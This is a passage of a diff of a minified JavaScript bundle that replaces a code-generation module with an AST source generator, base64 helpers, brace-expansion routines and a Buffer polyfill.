this.MethodDefinition(e12, t10) : (e12.shorthand || (e12.computed ? (t10.write("["), this[e12.key.type](e12.key, t10), t10.write("]")) : this[e12.key.type](e12.key, t10), t10.write(": ")), this[e12.value.type](e12.value, t10)); + }, PropertyDefinition: function(e12, t10) { + e12.static && t10.write("static "), e12.computed && t10.write("["), this[e12.key.type](e12.key, t10), e12.computed && t10.write("]"), null != e12.value ? (t10.write(" = "), this[e12.value.type](e12.value, t10), t10.write(";")) : "F" !== e12.key.type[0] && t10.write(";"); + }, ObjectPattern: function(e12, t10) { + if (t10.write("{"), e12.properties.length > 0) + for (var i9 = e12.properties, n9 = i9.length, r9 = 0; this[i9[r9].type](i9[r9], t10), ++r9 < n9; ) + t10.write(", "); + t10.write("}"); + }, SequenceExpression: function(e12, t10) { + u7(t10, e12.expressions); + }, UnaryExpression: function(e12, t10) { + if (e12.prefix) { + var i9 = e12.operator, n9 = e12.argument, r9 = e12.argument.type; + t10.write(i9); + var o8 = m7(t10, n9, e12); + o8 || !(i9.length > 1) && ("U" !== r9[0] || "n" !== r9[1] && "p" !== r9[1] || !n9.prefix || n9.operator[0] !== i9 || "+" !== i9 && "-" !== i9) || t10.write(" "), o8 ? (t10.write(i9.length > 1 ? " (" : "("), this[r9](n9, t10), t10.write(")")) : this[r9](n9, t10); + } else + this[e12.argument.type](e12.argument, t10), t10.write(e12.operator); + }, UpdateExpression: function(e12, t10) { + e12.prefix ? (t10.write(e12.operator), this[e12.argument.type](e12.argument, t10)) : (this[e12.argument.type](e12.argument, t10), t10.write(e12.operator)); + }, AssignmentExpression: function(e12, t10) { + this[e12.left.type](e12.left, t10), t10.write(" " + e12.operator + " "), this[e12.right.type](e12.right, t10); + }, AssignmentPattern: function(e12, t10) { + this[e12.left.type](e12.left, t10), t10.write(" = "), this[e12.right.type](e12.right, t10); + }, BinaryExpression: c7 = function(e12, t10) { + var i9 = "in" === e12.operator; + i9 && t10.write("("), h8(t10, e12.left, e12, false), t10.write(" " + e12.operator + " "), h8(t10, e12.right, e12, true), i9 && t10.write(")"); + }, LogicalExpression: c7, ConditionalExpression: function(e12, t10) { + var i9 = e12.test, n9 = t10.expressionsPrecedence[i9.type]; + n9 === o7 || n9 <= t10.expressionsPrecedence.ConditionalExpression ? (t10.write("("), this[i9.type](i9, t10), t10.write(")")) : this[i9.type](i9, t10), t10.write(" ? "), this[e12.consequent.type](e12.consequent, t10), t10.write(" : "), this[e12.alternate.type](e12.alternate, t10); + }, NewExpression: function(e12, t10) { + t10.write("new "); + var i9 = t10.expressionsPrecedence[e12.callee.type]; + i9 === o7 || i9 < t10.expressionsPrecedence.CallExpression || function(e13) { + for (var t11 = e13; null != t11; ) { + var i10 = t11.type; + if ("C" === i10[0] && "a" === i10[1]) + return true; + if ("M" !== i10[0] || "e" !== i10[1] || "m" !== i10[2]) + return false; + t11 = t11.object; + } + }(e12.callee) ? (t10.write("("), this[e12.callee.type](e12.callee, t10), t10.write(")")) : this[e12.callee.type](e12.callee, t10), u7(t10, e12.arguments); + }, CallExpression: function(e12, t10) { + var i9 = t10.expressionsPrecedence[e12.callee.type]; + i9 === o7 || i9 < t10.expressionsPrecedence.CallExpression ? (t10.write("("), this[e12.callee.type](e12.callee, t10), t10.write(")")) : this[e12.callee.type](e12.callee, t10), e12.optional && t10.write("?."), u7(t10, e12.arguments); + }, ChainExpression: function(e12, t10) { + this[e12.expression.type](e12.expression, t10); + }, MemberExpression: function(e12, t10) { + var i9 = t10.expressionsPrecedence[e12.object.type]; + i9 === o7 || i9 < t10.expressionsPrecedence.MemberExpression ? (t10.write("("), this[e12.object.type](e12.object, t10), t10.write(")")) : this[e12.object.type](e12.object, t10), e12.computed ? (e12.optional && t10.write("?."), t10.write("["), this[e12.property.type](e12.property, t10), t10.write("]")) : (e12.optional ? t10.write("?.") : t10.write("."), this[e12.property.type](e12.property, t10)); + }, MetaProperty: function(e12, t10) { + t10.write(e12.meta.name + "." + e12.property.name, e12); + }, Identifier: function(e12, t10) { + t10.write(e12.name, e12); + }, PrivateIdentifier: function(e12, t10) { + t10.write("#".concat(e12.name), e12); + }, Literal: function(e12, t10) { + null != e12.raw ? t10.write(e12.raw, e12) : null != e12.regex ? this.RegExpLiteral(e12, t10) : null != e12.bigint ? t10.write(e12.bigint + "n", e12) : t10.write(n8(e12.value), e12); + }, RegExpLiteral: function(e12, t10) { + var i9 = e12.regex; + t10.write("/".concat(i9.pattern, "/").concat(i9.flags), e12); + } }; + t9.GENERATOR = v8; + var j6 = {}, $5 = v8; + t9.baseGenerator = $5; + var x7 = function() { + function e12(t11) { + !function(e13, t12) { + if (!(e13 instanceof t12)) + throw new TypeError("Cannot call a class as a function"); + }(this, e12); + var i9 = null == t11 ? j6 : t11; + this.output = "", null != i9.output ? (this.output = i9.output, this.write = this.writeToStream) : this.output = "", this.generator = null != i9.generator ? i9.generator : v8, this.expressionsPrecedence = null != i9.expressionsPrecedence ? i9.expressionsPrecedence : l7, this.indent = null != i9.indent ? i9.indent : " ", this.lineEnd = null != i9.lineEnd ? i9.lineEnd : "\n", this.indentLevel = null != i9.startingIndentLevel ? i9.startingIndentLevel : 0, this.writeComments = !!i9.comments && i9.comments, null != i9.sourceMap && (this.write = null == i9.output ? this.writeAndMap : this.writeToStreamAndMap, this.sourceMap = i9.sourceMap, this.line = 1, this.column = 0, this.lineEndSize = this.lineEnd.split("\n").length - 1, this.mapping = { original: null, generated: this, name: void 0, source: i9.sourceMap.file || i9.sourceMap._file }); } + var t10, n9; + return t10 = e12, (n9 = [{ key: "write", value: function(e13) { + this.output += e13; + } }, { key: "writeToStream", value: function(e13) { + this.output.write(e13); + } }, { key: "writeAndMap", value: function(e13, t11) { + this.output += e13, this.map(e13, t11); + } }, { key: "writeToStreamAndMap", value: function(e13, t11) { + this.output.write(e13), this.map(e13, t11); + } }, { key: "map", value: function(e13, t11) { + if (null != t11) { + var i9 = t11.type; + if ("L" === i9[0] && "n" === i9[2]) + return this.column = 0, void this.line++; + if (null != t11.loc) { + var n10 = this.mapping; + n10.original = t11.loc.start, n10.name = t11.name, this.sourceMap.addMapping(n10); + } + if ("T" === i9[0] && "E" === i9[8] || "L" === i9[0] && "i" === i9[1] && "string" == typeof t11.value) { + for (var r9 = e13.length, o8 = this.column, s8 = this.line, a8 = 0; a8 < r9; a8++) + "\n" === e13[a8] ? (o8 = 0, s8++) : o8++; + return this.column = o8, void (this.line = s8); + } + } + var p8 = e13.length, c8 = this.lineEnd; + p8 > 0 && (this.lineEndSize > 0 && (1 === c8.length ? e13[p8 - 1] === c8 : e13.endsWith(c8)) ? (this.line += this.lineEndSize, this.column = 0) : this.column += p8); + } }, { key: "toString", value: function() { + return this.output; + } }]) && i8(t10.prototype, n9), e12; + }(); + }, 7991: (e11, t9) => { + "use strict"; + t9.byteLength = function(e12) { + var t10 = a7(e12), i9 = t10[0], n9 = t10[1]; + return 3 * (i9 + n9) / 4 - n9; + }, t9.toByteArray = function(e12) { + var t10, i9, o8 = a7(e12), s8 = o8[0], p8 = o8[1], c7 = new r8(function(e13, t11, i10) { + return 3 * (t11 + i10) / 4 - i10; + }(0, s8, p8)), d7 = 0, f8 = p8 > 0 ? s8 - 4 : s8; + for (i9 = 0; i9 < f8; i9 += 4) + t10 = n8[e12.charCodeAt(i9)] << 18 | n8[e12.charCodeAt(i9 + 1)] << 12 | n8[e12.charCodeAt(i9 + 2)] << 6 | n8[e12.charCodeAt(i9 + 3)], c7[d7++] = t10 >> 16 & 255, c7[d7++] = t10 >> 8 & 255, c7[d7++] = 255 & t10; + return 2 === p8 && (t10 = n8[e12.charCodeAt(i9)] << 2 | n8[e12.charCodeAt(i9 + 1)] >> 4, c7[d7++] = 255 & t10), 1 === p8 && (t10 = n8[e12.charCodeAt(i9)] << 10 | n8[e12.charCodeAt(i9 + 1)] << 4 | n8[e12.charCodeAt(i9 + 2)] >> 2, c7[d7++] = t10 >> 8 & 255, c7[d7++] = 255 & t10), c7; + }, t9.fromByteArray = function(e12) { + for (var t10, n9 = e12.length, r9 = n9 % 3, o8 = [], s8 = 16383, a8 = 0, c7 = n9 - r9; a8 < c7; a8 += s8) + o8.push(p7(e12, a8, a8 + s8 > c7 ? c7 : a8 + s8)); + return 1 === r9 ? (t10 = e12[n9 - 1], o8.push(i8[t10 >> 2] + i8[t10 << 4 & 63] + "==")) : 2 === r9 && (t10 = (e12[n9 - 2] << 8) + e12[n9 - 1], o8.push(i8[t10 >> 10] + i8[t10 >> 4 & 63] + i8[t10 << 2 & 63] + "=")), o8.join(""); + }; + for (var i8 = [], n8 = [], r8 = "undefined" != typeof Uint8Array ? Uint8Array : Array, o7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", s7 = 0; s7 < 64; ++s7) + i8[s7] = o7[s7], n8[o7.charCodeAt(s7)] = s7; + function a7(e12) { + var t10 = e12.length; + if (t10 % 4 > 0) + throw new Error("Invalid string. Length must be a multiple of 4"); + var i9 = e12.indexOf("="); + return -1 === i9 && (i9 = t10), [i9, i9 === t10 ? 0 : 4 - i9 % 4]; } - class y7 extends h8 { - render(e12) { - return "{" + e12._n + super.render(e12) + "}" + e12._n; - } + function p7(e12, t10, n9) { + for (var r9, o8, s8 = [], a8 = t10; a8 < n9; a8 += 3) + r9 = (e12[a8] << 16 & 16711680) + (e12[a8 + 1] << 8 & 65280) + (255 & e12[a8 + 2]), s8.push(i8[(o8 = r9) >> 18 & 63] + i8[o8 >> 12 & 63] + i8[o8 >> 6 & 63] + i8[63 & o8]); + return s8.join(""); } - class g7 extends h8 { + n8["-".charCodeAt(0)] = 62, n8["_".charCodeAt(0)] = 63; + }, 473: (e11, t9, i8) => { + var n8 = i8(55837), r8 = i8(81293); + e11.exports = function(e12) { + return e12 ? ("{}" === e12.substr(0, 2) && (e12 = "\\{\\}" + e12.substr(2)), g7(function(e13) { + return e13.split("\\\\").join(o7).split("\\{").join(s7).split("\\}").join(a7).split("\\,").join(p7).split("\\.").join(c7); + }(e12), true).map(f8)) : []; + }; + var o7 = "\0SLASH" + Math.random() + "\0", s7 = "\0OPEN" + Math.random() + "\0", a7 = "\0CLOSE" + Math.random() + "\0", p7 = "\0COMMA" + Math.random() + "\0", c7 = "\0PERIOD" + Math.random() + "\0"; + function d7(e12) { + return parseInt(e12, 10) == e12 ? parseInt(e12, 10) : e12.charCodeAt(0); } - class b8 extends y7 { + function f8(e12) { + return e12.split(o7).join("\\").split(s7).join("{").split(a7).join("}").split(p7).join(",").split(c7).join("."); } - b8.kind = "else"; - class v8 extends y7 { - constructor(e12, t10) { - super(t10), this.condition = e12; - } - render(e12) { - let t10 = `if(${this.condition})` + super.render(e12); - return this.else && (t10 += "else " + this.else.render(e12)), t10; - } - optimizeNodes() { - super.optimizeNodes(); - const e12 = this.condition; - if (true === e12) - return this.nodes; - let t10 = this.else; - if (t10) { - const e13 = t10.optimizeNodes(); - t10 = this.else = Array.isArray(e13) ? new b8(e13) : e13; - } - return t10 ? false === e12 ? t10 instanceof v8 ? t10 : t10.nodes : this.nodes.length ? this : new v8(k6(e12), t10 instanceof v8 ? [t10] : t10.nodes) : false !== e12 && this.nodes.length ? this : void 0; - } - optimizeNames(e12, t10) { - var i9; - if (this.else = null === (i9 = this.else) || void 0 === i9 ? void 0 : i9.optimizeNames(e12, t10), super.optimizeNames(e12, t10) || this.else) - return this.condition = E6(this.condition, e12, t10), this; - } - get names() { - const e12 = super.names; - return I6(e12, this.condition), this.else && A6(e12, this.else.names), e12; - } + function l7(e12) { + if (!e12) + return [""]; + var t10 = [], i9 = r8("{", "}", e12); + if (!i9) + return e12.split(","); + var n9 = i9.pre, o8 = i9.body, s8 = i9.post, a8 = n9.split(","); + a8[a8.length - 1] += "{" + o8 + "}"; + var p8 = l7(s8); + return s8.length && (a8[a8.length - 1] += p8.shift(), a8.push.apply(a8, p8)), t10.push.apply(t10, a8), t10; } - v8.kind = "if"; - class j6 extends y7 { + function u7(e12) { + return "{" + e12 + "}"; } - j6.kind = "for"; - class $5 extends j6 { - constructor(e12) { - super(), this.iteration = e12; - } - render(e12) { - return `for(${this.iteration})` + super.render(e12); - } - optimizeNames(e12, t10) { - if (super.optimizeNames(e12, t10)) - return this.iteration = E6(this.iteration, e12, t10), this; - } - get names() { - return A6(super.names, this.iteration.names); - } + function m7(e12) { + return /^-?0\d/.test(e12); } - class x7 extends j6 { - constructor(e12, t10, i9, n9) { - super(), this.varKind = e12, this.name = t10, this.from = i9, this.to = n9; - } - render(e12) { - const t10 = e12.es5 ? r8.varKinds.var : this.varKind, { name: i9, from: n9, to: o8 } = this; - return `for(${t10} ${i9}=${n9}; ${i9}<${o8}; ${i9}++)` + super.render(e12); - } - get names() { - const e12 = I6(super.names, this.from); - return I6(e12, this.to); - } + function h8(e12, t10) { + return e12 <= t10; } - class _6 extends j6 { - constructor(e12, t10, i9, n9) { - super(), this.loop = e12, this.varKind = t10, this.name = i9, this.iterable = n9; - } - render(e12) { - return `for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})` + super.render(e12); - } - optimizeNames(e12, t10) { - if (super.optimizeNames(e12, t10)) - return this.iterable = E6(this.iterable, e12, t10), this; - } - get names() { - return A6(super.names, this.iterable.names); - } + function y7(e12, t10) { + return e12 >= t10; } - class w6 extends y7 { - constructor(e12, t10, i9) { - super(), this.name = e12, this.args = t10, this.async = i9; - } - render(e12) { - return `${this.async ? "async " : ""}function ${this.name}(${this.args})` + super.render(e12); - } + function g7(e12, t10) { + var i9 = [], o8 = r8("{", "}", e12); + if (!o8 || /\$$/.test(o8.pre)) + return [e12]; + var s8, p8 = /^-?\d+\.\.-?\d+(?:\.\.-?\d+)?$/.test(o8.body), c8 = /^[a-zA-Z]\.\.[a-zA-Z](?:\.\.-?\d+)?$/.test(o8.body), f9 = p8 || c8, b8 = o8.body.indexOf(",") >= 0; + if (!f9 && !b8) + return o8.post.match(/,.*\}/) ? g7(e12 = o8.pre + "{" + o8.body + a7 + o8.post) : [e12]; + if (f9) + s8 = o8.body.split(/\.\./); + else if (1 === (s8 = l7(o8.body)).length && 1 === (s8 = g7(s8[0], false).map(u7)).length) + return ($5 = o8.post.length ? g7(o8.post, false) : [""]).map(function(e13) { + return o8.pre + s8[0] + e13; + }); + var v8, j6 = o8.pre, $5 = o8.post.length ? g7(o8.post, false) : [""]; + if (f9) { + var x7 = d7(s8[0]), _6 = d7(s8[1]), w6 = Math.max(s8[0].length, s8[1].length), S6 = 3 == s8.length ? Math.abs(d7(s8[2])) : 1, P6 = h8; + _6 < x7 && (S6 *= -1, P6 = y7); + var O7 = s8.some(m7); + v8 = []; + for (var T6 = x7; P6(T6, _6); T6 += S6) { + var A6; + if (c8) + "\\" === (A6 = String.fromCharCode(T6)) && (A6 = ""); + else if (A6 = String(T6), O7) { + var I6 = w6 - A6.length; + if (I6 > 0) { + var E6 = new Array(I6 + 1).join("0"); + A6 = T6 < 0 ? "-" + E6 + A6.slice(1) : E6 + A6; + } + } + v8.push(A6); + } + } else + v8 = n8(s8, function(e13) { + return g7(e13, false); + }); + for (var q5 = 0; q5 < v8.length; q5++) + for (var k6 = 0; k6 < $5.length; k6++) { + var M6 = j6 + v8[q5] + $5[k6]; + (!t10 || f9 || M6) && i9.push(M6); + } + return i9; } - w6.kind = "func"; - class S6 extends h8 { - render(e12) { - return "return " + super.render(e12); - } + }, 81293: (e11) => { + "use strict"; + function t9(e12, t10, r8) { + e12 instanceof RegExp && (e12 = i8(e12, r8)), t10 instanceof RegExp && (t10 = i8(t10, r8)); + var o7 = n8(e12, t10, r8); + return o7 && { start: o7[0], end: o7[1], pre: r8.slice(0, o7[0]), body: r8.slice(o7[0] + e12.length, o7[1]), post: r8.slice(o7[1] + t10.length) }; } - S6.kind = "return"; - class P6 extends y7 { - render(e12) { - let t10 = "try" + super.render(e12); - return this.catch && (t10 += this.catch.render(e12)), this.finally && (t10 += this.finally.render(e12)), t10; - } - optimizeNodes() { - var e12, t10; - return super.optimizeNodes(), null === (e12 = this.catch) || void 0 === e12 || e12.optimizeNodes(), null === (t10 = this.finally) || void 0 === t10 || t10.optimizeNodes(), this; - } - optimizeNames(e12, t10) { - var i9, n9; - return super.optimizeNames(e12, t10), null === (i9 = this.catch) || void 0 === i9 || i9.optimizeNames(e12, t10), null === (n9 = this.finally) || void 0 === n9 || n9.optimizeNames(e12, t10), this; - } - get names() { - const e12 = super.names; - return this.catch && A6(e12, this.catch.names), this.finally && A6(e12, this.finally.names), e12; - } + function i8(e12, t10) { + var i9 = t10.match(e12); + return i9 ? i9[0] : null; } - class O7 extends y7 { - constructor(e12) { - super(), this.error = e12; - } - render(e12) { - return `catch(${this.error})` + super.render(e12); + function n8(e12, t10, i9) { + var n9, r8, o7, s7, a7, p7 = i9.indexOf(e12), c7 = i9.indexOf(t10, p7 + 1), d7 = p7; + if (p7 >= 0 && c7 > 0) { + if (e12 === t10) + return [p7, c7]; + for (n9 = [], o7 = i9.length; d7 >= 0 && !a7; ) + d7 == p7 ? (n9.push(d7), p7 = i9.indexOf(e12, d7 + 1)) : 1 == n9.length ? a7 = [n9.pop(), c7] : ((r8 = n9.pop()) < o7 && (o7 = r8, s7 = c7), c7 = i9.indexOf(t10, d7 + 1)), d7 = p7 < c7 && p7 >= 0 ? p7 : c7; + n9.length && (a7 = [o7, s7]); } + return a7; } - O7.kind = "catch"; - class T6 extends y7 { - render(e12) { - return "finally" + super.render(e12); + e11.exports = t9, t9.range = n8; + }, 1048: (e11, t9, i8) => { + "use strict"; + var n8 = i8(7991), r8 = i8(39318); + t9.hp = a7, t9.IS = 50; + var o7 = 2147483647; + function s7(e12) { + if (e12 > o7) + throw new RangeError('The value "' + e12 + '" is invalid for option "size"'); + var t10 = new Uint8Array(e12); + return t10.__proto__ = a7.prototype, t10; + } + function a7(e12, t10, i9) { + if ("number" == typeof e12) { + if ("string" == typeof t10) + throw new TypeError('The "string" argument must be of type string. Received type number'); + return d7(e12); } + return p7(e12, t10, i9); } - function A6(e12, t10) { - for (const i9 in t10) - e12[i9] = (e12[i9] || 0) + (t10[i9] || 0); - return e12; + function p7(e12, t10, i9) { + if ("string" == typeof e12) + return function(e13, t11) { + if ("string" == typeof t11 && "" !== t11 || (t11 = "utf8"), !a7.isEncoding(t11)) + throw new TypeError("Unknown encoding: " + t11); + var i10 = 0 | u7(e13, t11), n10 = s7(i10), r10 = n10.write(e13, t11); + return r10 !== i10 && (n10 = n10.slice(0, r10)), n10; + }(e12, t10); + if (ArrayBuffer.isView(e12)) + return f8(e12); + if (null == e12) + throw TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type " + typeof e12); + if (F6(e12, ArrayBuffer) || e12 && F6(e12.buffer, ArrayBuffer)) + return function(e13, t11, i10) { + if (t11 < 0 || e13.byteLength < t11) + throw new RangeError('"offset" is outside of buffer bounds'); + if (e13.byteLength < t11 + (i10 || 0)) + throw new RangeError('"length" is outside of buffer bounds'); + var n10; + return (n10 = void 0 === t11 && void 0 === i10 ? new Uint8Array(e13) : void 0 === i10 ? new Uint8Array(e13, t11) : new Uint8Array(e13, t11, i10)).__proto__ = a7.prototype, n10; + }(e12, t10, i9); + if ("number" == typeof e12) + throw new TypeError('The "value" argument must not be of type number. Received type number'); + var n9 = e12.valueOf && e12.valueOf(); + if (null != n9 && n9 !== e12) + return a7.from(n9, t10, i9); + var r9 = function(e13) { + if (a7.isBuffer(e13)) { + var t11 = 0 | l7(e13.length), i10 = s7(t11); + return 0 === i10.length || e13.copy(i10, 0, 0, t11), i10; + } + return void 0 !== e13.length ? "number" != typeof e13.length || U6(e13.length) ? s7(0) : f8(e13) : "Buffer" === e13.type && Array.isArray(e13.data) ? f8(e13.data) : void 0; + }(e12); + if (r9) + return r9; + if ("undefined" != typeof Symbol && null != Symbol.toPrimitive && "function" == typeof e12[Symbol.toPrimitive]) + return a7.from(e12[Symbol.toPrimitive]("string"), t10, i9); + throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type " + typeof e12); } - function I6(e12, t10) { - return t10 instanceof n8._CodeOrName ? A6(e12, t10.names) : e12; + function c7(e12) { + if ("number" != typeof e12) + throw new TypeError('"size" argument must be of type number'); + if (e12 < 0) + throw new RangeError('The value "' + e12 + '" is invalid for option "size"'); } - function E6(e12, t10, i9) { - return e12 instanceof n8.Name ? o8(e12) : (r9 = e12) instanceof n8._Code && r9._items.some((e13) => e13 instanceof n8.Name && 1 === t10[e13.str] && void 0 !== i9[e13.str]) ? new n8._Code(e12._items.reduce((e13, t11) => (t11 instanceof n8.Name && (t11 = o8(t11)), t11 instanceof n8._Code ? e13.push(...t11._items) : e13.push(t11), e13), [])) : e12; - var r9; - function o8(e13) { - const n9 = i9[e13.str]; - return void 0 === n9 || 1 !== t10[e13.str] ? e13 : (delete t10[e13.str], n9); - } + function d7(e12) { + return c7(e12), s7(e12 < 0 ? 0 : 0 | l7(e12)); } - function q5(e12, t10) { - for (const i9 in t10) - e12[i9] = (e12[i9] || 0) - (t10[i9] || 0); + function f8(e12) { + for (var t10 = e12.length < 0 ? 0 : 0 | l7(e12.length), i9 = s7(t10), n9 = 0; n9 < t10; n9 += 1) + i9[n9] = 255 & e12[n9]; + return i9; } - function k6(e12) { - return "boolean" == typeof e12 || "number" == typeof e12 || null === e12 ? !e12 : n8._`!${C6(e12)}`; + function l7(e12) { + if (e12 >= o7) + throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x" + o7.toString(16) + " bytes"); + return 0 | e12; } - T6.kind = "finally", t9.CodeGen = class { - constructor(e12, t10 = {}) { - this._values = {}, this._blockStarts = [], this._constants = {}, this.opts = { ...t10, _n: t10.lines ? "\n" : "" }, this._extScope = e12, this._scope = new r8.Scope({ parent: e12 }), this._nodes = [new g7()]; - } - toString() { - return this._root.render(this.opts); - } - name(e12) { - return this._scope.name(e12); - } - scopeName(e12) { - return this._extScope.name(e12); - } - scopeValue(e12, t10) { - const i9 = this._extScope.value(e12, t10); - return (this._values[i9.prefix] || (this._values[i9.prefix] = /* @__PURE__ */ new Set())).add(i9), i9; - } - getScopeValue(e12, t10) { - return this._extScope.getValue(e12, t10); - } - scopeRefs(e12) { - return this._extScope.scopeRefs(e12, this._values); - } - scopeCode() { - return this._extScope.scopeCode(this._values); - } - _def(e12, t10, i9, n9) { - const r9 = this._scope.toName(t10); - return void 0 !== i9 && n9 && (this._constants[r9.str] = i9), this._leafNode(new p7(e12, r9, i9)), r9; - } - const(e12, t10, i9) { - return this._def(r8.varKinds.const, e12, t10, i9); - } - let(e12, t10, i9) { - return this._def(r8.varKinds.let, e12, t10, i9); - } - var(e12, t10, i9) { - return this._def(r8.varKinds.var, e12, t10, i9); - } - assign(e12, t10, i9) { - return this._leafNode(new c7(e12, t10, i9)); - } - add(e12, i9) { - return this._leafNode(new d7(e12, t9.operators.ADD, i9)); - } - code(e12) { - return "function" == typeof e12 ? e12() : e12 !== n8.nil && this._leafNode(new m7(e12)), this; - } - object(...e12) { - const t10 = ["{"]; - for (const [i9, r9] of e12) - t10.length > 1 && t10.push(","), t10.push(i9), (i9 !== r9 || this.opts.es5) && (t10.push(":"), (0, n8.addCodeArg)(t10, r9)); - return t10.push("}"), new n8._Code(t10); - } - if(e12, t10, i9) { - if (this._blockNode(new v8(e12)), t10 && i9) - this.code(t10).else().code(i9).endIf(); - else if (t10) - this.code(t10).endIf(); - else if (i9) - throw new Error('CodeGen: "else" body without "then" body'); - return this; - } - elseIf(e12) { - return this._elseNode(new v8(e12)); - } - else() { - return this._elseNode(new b8()); - } - endIf() { - return this._endBlockNode(v8, b8); - } - _for(e12, t10) { - return this._blockNode(e12), t10 && this.code(t10).endFor(), this; - } - for(e12, t10) { - return this._for(new $5(e12), t10); - } - forRange(e12, t10, i9, n9, o8 = this.opts.es5 ? r8.varKinds.var : r8.varKinds.let) { - const s8 = this._scope.toName(e12); - return this._for(new x7(o8, s8, t10, i9), () => n9(s8)); - } - forOf(e12, t10, i9, o8 = r8.varKinds.const) { - const s8 = this._scope.toName(e12); - if (this.opts.es5) { - const e13 = t10 instanceof n8.Name ? t10 : this.var("_arr", t10); - return this.forRange("_i", 0, n8._`${e13}.length`, (t11) => { - this.var(s8, n8._`${e13}[${t11}]`), i9(s8); - }); + function u7(e12, t10) { + if (a7.isBuffer(e12)) + return e12.length; + if (ArrayBuffer.isView(e12) || F6(e12, ArrayBuffer)) + return e12.byteLength; + if ("string" != typeof e12) + throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type ' + typeof e12); + var i9 = e12.length, n9 = arguments.length > 2 && true === arguments[2]; + if (!n9 && 0 === i9) + return 0; + for (var r9 = false; ; ) + switch (t10) { + case "ascii": + case "latin1": + case "binary": + return i9; + case "utf8": + case "utf-8": + return C6(e12).length; + case "ucs2": + case "ucs-2": + case "utf16le": + case "utf-16le": + return 2 * i9; + case "hex": + return i9 >>> 1; + case "base64": + return V5(e12).length; + default: + if (r9) + return n9 ? -1 : C6(e12).length; + t10 = ("" + t10).toLowerCase(), r9 = true; } - return this._for(new _6("of", o8, s8, t10), () => i9(s8)); - } - forIn(e12, t10, i9, o8 = this.opts.es5 ? r8.varKinds.var : r8.varKinds.const) { - if (this.opts.ownProperties) - return this.forOf(e12, n8._`Object.keys(${t10})`, i9); - const s8 = this._scope.toName(e12); - return this._for(new _6("in", o8, s8, t10), () => i9(s8)); - } - endFor() { - return this._endBlockNode(j6); - } - label(e12) { - return this._leafNode(new f8(e12)); - } - break(e12) { - return this._leafNode(new l7(e12)); - } - return(e12) { - const t10 = new S6(); - if (this._blockNode(t10), this.code(e12), 1 !== t10.nodes.length) - throw new Error('CodeGen: "return" should have one node'); - return this._endBlockNode(S6); - } - try(e12, t10, i9) { - if (!t10 && !i9) - throw new Error('CodeGen: "try" without "catch" and "finally"'); - const n9 = new P6(); - if (this._blockNode(n9), this.code(e12), t10) { - const e13 = this.name("e"); - this._currNode = n9.catch = new O7(e13), t10(e13); + } + function m7(e12, t10, i9) { + var n9 = false; + if ((void 0 === t10 || t10 < 0) && (t10 = 0), t10 > this.length) + return ""; + if ((void 0 === i9 || i9 > this.length) && (i9 = this.length), i9 <= 0) + return ""; + if ((i9 >>>= 0) <= (t10 >>>= 0)) + return ""; + for (e12 || (e12 = "utf8"); ; ) + switch (e12) { + case "hex": + return A6(this, t10, i9); + case "utf8": + case "utf-8": + return S6(this, t10, i9); + case "ascii": + return O7(this, t10, i9); + case "latin1": + case "binary": + return T6(this, t10, i9); + case "base64": + return w6(this, t10, i9); + case "ucs2": + case "ucs-2": + case "utf16le": + case "utf-16le": + return I6(this, t10, i9); + default: + if (n9) + throw new TypeError("Unknown encoding: " + e12); + e12 = (e12 + "").toLowerCase(), n9 = true; } - return i9 && (this._currNode = n9.finally = new T6(), this.code(i9)), this._endBlockNode(O7, T6); - } - throw(e12) { - return this._leafNode(new u7(e12)); - } - block(e12, t10) { - return this._blockStarts.push(this._nodes.length), e12 && this.code(e12).endBlock(t10), this; - } - endBlock(e12) { - const t10 = this._blockStarts.pop(); - if (void 0 === t10) - throw new Error("CodeGen: not in self-balancing block"); - const i9 = this._nodes.length - t10; - if (i9 < 0 || void 0 !== e12 && i9 !== e12) - throw new Error(`CodeGen: wrong number of nodes: ${i9} vs ${e12} expected`); - return this._nodes.length = t10, this; - } - func(e12, t10 = n8.nil, i9, r9) { - return this._blockNode(new w6(e12, t10, i9)), r9 && this.code(r9).endFunc(), this; - } - endFunc() { - return this._endBlockNode(w6); + } + function h8(e12, t10, i9) { + var n9 = e12[t10]; + e12[t10] = e12[i9], e12[i9] = n9; + } + function y7(e12, t10, i9, n9, r9) { + if (0 === e12.length) + return -1; + if ("string" == typeof i9 ? (n9 = i9, i9 = 0) : i9 > 2147483647 ? i9 = 2147483647 : i9 < -2147483648 && (i9 = -2147483648), U6(i9 = +i9) && (i9 = r9 ? 0 : e12.length - 1), i9 < 0 && (i9 = e12.length + i9), i9 >= e12.length) { + if (r9) + return -1; + i9 = e12.length - 1; + } else if (i9 < 0) { + if (!r9) + return -1; + i9 = 0; } - optimize(e12 = 1) { - for (; e12-- > 0; ) - this._root.optimizeNodes(), this._root.optimizeNames(this._root.names, this._constants); + if ("string" == typeof t10 && (t10 = a7.from(t10, n9)), a7.isBuffer(t10)) + return 0 === t10.length ? -1 : g7(e12, t10, i9, n9, r9); + if ("number" == typeof t10) + return t10 &= 255, "function" == typeof Uint8Array.prototype.indexOf ? r9 ? Uint8Array.prototype.indexOf.call(e12, t10, i9) : Uint8Array.prototype.lastIndexOf.call(e12, t10, i9) : g7(e12, [t10], i9, n9, r9); + throw new TypeError("val must be string, number or Buffer"); + } + function g7(e12, t10, i9, n9, r9) { + var o8, s8 = 1, a8 = e12.length, p8 = t10.length; + if (void 0 !== n9 && ("ucs2" === (n9 = String(n9).toLowerCase()) || "ucs-2" === n9 || "utf16le" === n9 || "utf-16le" === n9)) { + if (e12.length < 2 || t10.length < 2) + return -1; + s8 = 2, a8 /= 2, p8 /= 2, i9 /= 2; } - _leafNode(e12) { - return this._currNode.nodes.push(e12), this; + function c8(e13, t11) { + return 1 === s8 ? e13[t11] : e13.readUInt16BE(t11 * s8); } - _blockNode(e12) { - this._currNode.nodes.push(e12), this._nodes.push(e12); + if (r9) { + var d8 = -1; + for (o8 = i9; o8 < a8; o8++) + if (c8(e12, o8) === c8(t10, -1 === d8 ? 0 : o8 - d8)) { + if (-1 === d8 && (d8 = o8), o8 - d8 + 1 === p8) + return d8 * s8; + } else + -1 !== d8 && (o8 -= o8 - d8), d8 = -1; + } else + for (i9 + p8 > a8 && (i9 = a8 - p8), o8 = i9; o8 >= 0; 